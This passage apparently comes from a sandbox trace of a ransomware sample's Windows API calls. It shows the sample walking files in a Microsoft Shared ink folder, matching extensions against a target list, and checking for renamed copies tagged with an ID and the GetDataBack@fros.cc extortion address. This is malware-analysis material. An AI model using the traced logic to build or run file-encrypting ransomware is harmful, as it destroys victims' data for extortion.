Shared\\ink\\Alphabet.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0116.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.838] lstrlenW (lpString=".doc") returned 4 [0116.839] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString=".docx") returned 5 [0116.839] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0116.839] lstrlenW (lpString=".pdf") returned 4 [0116.839] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString=".xls") returned 4 [0116.839] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString=".xlsx") returned 5 [0116.839] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0116.839] lstrlenW (lpString=".ppt") returned 4 [0116.839] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.839] lstrlenW (lpString=".zip") returned 4 [0116.839] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.839] lstrlenW (lpString=".rar") returned 4 [0116.839] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString=".bz2") returned 4 [0116.839] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString=".7z") returned 3 [0116.839] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.839] lstrlenW (lpString=".dbf") returned 4 [0116.839] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.839] lstrlenW (lpString=".1cd") returned 4 [0116.839] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.839] lstrlenW (lpString=".jpg") returned 4 [0116.839] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.839] lstrlenW (lpString=".doc") returned 4 [0116.839] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString=".docx") returned 5 [0116.839] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0116.839] lstrlenW (lpString=".pdf") returned 4 [0116.839] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString=".xls") returned 4 [0116.839] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.839] lstrlenW (lpString=".xlsx") returned 5 [0116.840] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0116.840] lstrlenW (lpString=".ppt") returned 4 [0116.840] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.840] lstrlenW (lpString=".zip") returned 4 [0116.840] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.840] lstrlenW (lpString=".rar") returned 4 [0116.840] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.840] lstrlenW (lpString=".bz2") returned 4 [0116.840] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.840] lstrlenW (lpString=".7z") returned 3 [0116.840] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.840] lstrlenW (lpString=".dbf") returned 4 [0116.840] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.840] lstrlenW (lpString=".1cd") returned 4 [0116.840] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0116.840] lstrlenW (lpString=".jpg") returned 4 [0116.840] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.840] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0116.840] lstrlenW (lpString="Content.xml") returned 11 [0116.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.841] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=27045) returned 1 [0116.841] CloseHandle (hObject=0x19c) returned 1 [0116.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0116.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0116.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.841] lstrlenW (lpString=".doc") returned 4 [0116.841] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.841] lstrlenW (lpString=".docx") returned 5 [0116.841] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0116.841] lstrlenW (lpString=".pdf") returned 4 [0116.841] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.841] lstrlenW (lpString=".xls") returned 4 [0116.841] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.841] lstrlenW (lpString=".xlsx") returned 5 [0116.841] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0116.841] lstrlenW (lpString=".ppt") returned 4 [0116.841] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.841] lstrlenW (lpString=".zip") returned 4 [0116.841] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.841] lstrlenW (lpString=".rar") returned 4 [0116.841] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.841] lstrlenW (lpString=".bz2") returned 4 [0116.841] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.841] lstrlenW (lpString=".7z") returned 3 [0116.841] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.841] lstrlenW (lpString=".dbf") returned 4 [0116.841] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.841] lstrlenW (lpString=".1cd") returned 4 [0116.842] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.842] lstrlenW (lpString=".jpg") returned 4 [0116.842] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.842] lstrlenW (lpString=".doc") returned 4 [0116.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0116.842] lstrlenW (lpString=".docx") returned 5 [0116.842] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0116.842] lstrlenW (lpString=".pdf") returned 4 [0116.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0116.842] lstrlenW (lpString=".xls") returned 4 [0116.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0116.842] lstrlenW (lpString=".xlsx") returned 5 [0116.842] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0116.842] lstrlenW (lpString=".ppt") returned 4 [0116.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0116.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.842] lstrlenW (lpString=".zip") returned 4 [0116.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0116.842] lstrlenW (lpString=".rar") returned 4 [0116.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0116.842] lstrlenW (lpString=".bz2") returned 4 [0116.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0116.842] lstrlenW (lpString=".7z") returned 3 [0116.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0116.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.842] lstrlenW (lpString=".dbf") returned 4 [0116.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.842] lstrlenW (lpString=".1cd") returned 4 [0116.842] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0116.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0116.842] lstrlenW (lpString=".jpg") returned 4 [0116.842] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.843] lstrcmpiW (lpString1=".avi", lpString2=".gdb") returned -1 [0116.843] lstrlenW (lpString="boxed-correct.avi") returned 17 [0116.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.844] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=89600) returned 1 [0116.844] CloseHandle (hObject=0x19c) returned 1 [0116.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0116.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0116.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.844] lstrlenW (lpString=".doc") returned 4 [0116.844] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0116.844] lstrlenW (lpString=".docx") returned 5 [0116.844] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0116.844] lstrlenW (lpString=".pdf") returned 4 [0116.844] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0116.844] lstrlenW (lpString=".xls") returned 4 [0116.844] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0116.844] lstrlenW (lpString=".xlsx") returned 5 [0116.844] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0116.844] lstrlenW (lpString=".ppt") returned 4 [0116.844] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.845] lstrlenW (lpString=".zip") returned 4 [0116.845] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString=".rar") returned 4 [0116.845] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString=".bz2") returned 4 [0116.845] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString=".7z") returned 3 [0116.845] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0116.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.845] lstrlenW (lpString=".dbf") returned 4 [0116.845] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.845] lstrlenW (lpString=".1cd") returned 4 [0116.845] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0116.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.845] lstrlenW (lpString=".jpg") returned 4 [0116.845] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.845] lstrlenW (lpString=".doc") returned 4 [0116.845] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString=".docx") returned 5 [0116.845] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0116.845] lstrlenW (lpString=".pdf") returned 4 [0116.845] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString=".xls") returned 4 [0116.845] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString=".xlsx") returned 5 [0116.845] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0116.845] lstrlenW (lpString=".ppt") returned 4 [0116.845] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.845] lstrlenW (lpString=".zip") returned 4 [0116.845] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString=".rar") returned 4 [0116.845] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString=".bz2") returned 4 [0116.845] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0116.845] lstrlenW (lpString=".7z") returned 3 [0116.845] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0116.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.846] lstrlenW (lpString=".dbf") returned 4 [0116.846] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0116.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.846] lstrlenW (lpString=".1cd") returned 4 [0116.846] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0116.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0116.846] lstrlenW (lpString=".jpg") returned 4 [0116.846] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0116.846] lstrcmpiW (lpString1=".avi", lpString2=".gdb") returned -1 [0116.846] lstrlenW (lpString="boxed-delete.avi") returned 16 [0116.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.847] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=31744) returned 1 [0116.847] CloseHandle (hObject=0x19c) returned 1 [0116.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0116.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0116.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.847] lstrlenW (lpString=".doc") returned 4 [0116.847] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0116.847] lstrlenW (lpString=".docx") returned 5 [0116.847] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0116.847] lstrlenW (lpString=".pdf") returned 4 [0116.847] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0116.847] lstrlenW (lpString=".xls") returned 4 [0116.847] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0116.847] lstrlenW (lpString=".xlsx") returned 5 [0116.847] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0116.847] lstrlenW (lpString=".ppt") returned 4 [0116.847] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0116.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.847] lstrlenW (lpString=".zip") returned 4 [0116.847] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0116.847] lstrlenW (lpString=".rar") returned 4 [0116.847] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0116.847] lstrlenW (lpString=".bz2") returned 4 [0116.847] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0116.847] lstrlenW (lpString=".7z") returned 3 [0116.847] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0116.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.847] lstrlenW (lpString=".dbf") returned 4 [0116.847] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0116.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.848] lstrlenW (lpString=".1cd") returned 4 [0116.848] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0116.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.848] lstrlenW (lpString=".jpg") returned 4 [0116.848] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0116.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.848] lstrlenW (lpString=".doc") returned 4 [0116.848] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0116.848] lstrlenW (lpString=".docx") returned 5 [0116.848] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0116.848] lstrlenW (lpString=".pdf") returned 4 [0116.848] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0116.848] lstrlenW (lpString=".xls") returned 4 [0116.848] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0116.848] lstrlenW (lpString=".xlsx") returned 5 [0116.848] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0116.848] lstrlenW (lpString=".ppt") returned 4 [0116.848] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0116.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.848] lstrlenW (lpString=".zip") returned 4 [0116.848] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0116.848] lstrlenW (lpString=".rar") returned 4 [0116.848] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0116.848] lstrlenW (lpString=".bz2") returned 4 [0116.848] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0116.848] lstrlenW (lpString=".7z") returned 3 [0116.848] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0116.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.848] lstrlenW (lpString=".dbf") returned 4 [0116.848] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0116.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.848] lstrlenW (lpString=".1cd") returned 4 [0116.848] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0116.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0116.848] lstrlenW (lpString=".jpg") returned 4 [0116.848] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0116.849] lstrcmpiW (lpString1=".avi", lpString2=".gdb") returned -1 [0116.849] lstrlenW (lpString="boxed-join.avi") returned 14 [0116.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0116.849] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=33280) returned 1 [0116.849] CloseHandle (hObject=0x19c) returned 1 [0116.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0116.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0116.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0116.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.849] lstrlenW (lpString=".doc") returned 4 [0116.849] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0116.849] lstrlenW (lpString=".docx") returned 5 [0116.849] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0116.849] lstrlenW (lpString=".pdf") returned 4 [0116.849] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0116.849] lstrlenW (lpString=".xls") returned 4 [0116.849] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0116.849] lstrlenW (lpString=".xlsx") returned 5 [0116.849] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0116.849] lstrlenW (lpString=".ppt") returned 4 [0116.849] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0116.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.849] lstrlenW (lpString=".zip") returned 4 [0116.849] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0116.849] lstrlenW (lpString=".rar") returned 4 [0116.850] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0116.850] lstrlenW (lpString=".bz2") returned 4 [0116.850] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0116.850] lstrlenW (lpString=".7z") returned 3 [0116.850] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0116.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.850] lstrlenW (lpString=".dbf") returned 4 [0116.850] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0116.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.850] lstrlenW (lpString=".1cd") returned 4 [0116.850] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0116.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.850] lstrlenW (lpString=".jpg") returned 4 [0116.850] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0116.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0116.850] lstrlenW (lpString=".doc") returned 4 [0116.850] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0116.850] lstrlenW (lpString=".docx") returned 5 [0116.850] lstrcmpiW 